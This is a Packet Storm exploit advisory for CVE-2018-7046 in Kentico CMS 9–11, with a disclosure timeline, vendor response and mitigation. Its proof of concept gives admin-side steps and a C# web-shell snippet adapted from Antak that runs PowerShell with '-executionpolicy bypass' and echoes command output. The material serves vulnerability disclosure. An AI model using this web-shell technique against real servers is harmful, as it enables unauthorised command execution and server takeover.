Twenty Year Anniversary

Kentico CMS 11 Arbitrary Code Execution

Kentico CMS 11 Arbitrary Code Execution
Posted Feb 19, 2018
Authored by Keerati T.

Kentico CMS versions 9 through 11 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-7046
MD5 | 8f9a02fa5a2bdcf8d8bbc0c276ac0f8c

Kentico CMS 11 Arbitrary Code Execution

Change Mirror Download
# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution
# Date: 17-02-2018
# Software Link: https://www.kentico.com
# Exploit Author: Keerati T.
# CVE: CVE-2018-7046
# Category: webapps

1. Description

Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. (Copy from Kentico homepage.)

2. Proof of Concept

In case of no product to install you can request Hosted Trial at https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted trials are virtual applications running isolated and are limited by application pool permission set on server level so they should be safe as well.)

2.1 Log in as administrator.
2.2 Go to page.
2.3 At "Edit" on left panel, select any page under site.
2.4 Click "Template" tab locate on top right panel.
2.5 Under "Template" tab, select "Edit template properties".
2.6 Select "Layout" on popped "Template".
2.7 Fill the following c# code into text box. (modified from https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx)
================================
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
Response.Write(s);
stmrdr.Close();
================================
2.8 Click "Save" and see the response of issued OS commands.

3. Timeline

3.1 Discovery and report - 14 Feb 2018.
3.2 Vendor response - 14 Feb 2018.
(This is actually intended functinality and our CMS allows authenticated users to edit and update ascx code layout. However this user has to be authentication and has to have permissions for these actions in our administration interface.
)
3.3 CVE ID was assigned - 15 Feb 2018.
3.4 Public - 17 Feb 2018.

4. Solution
Restricting the permission to allow only authorized user to edit ascot code layout.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    13 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close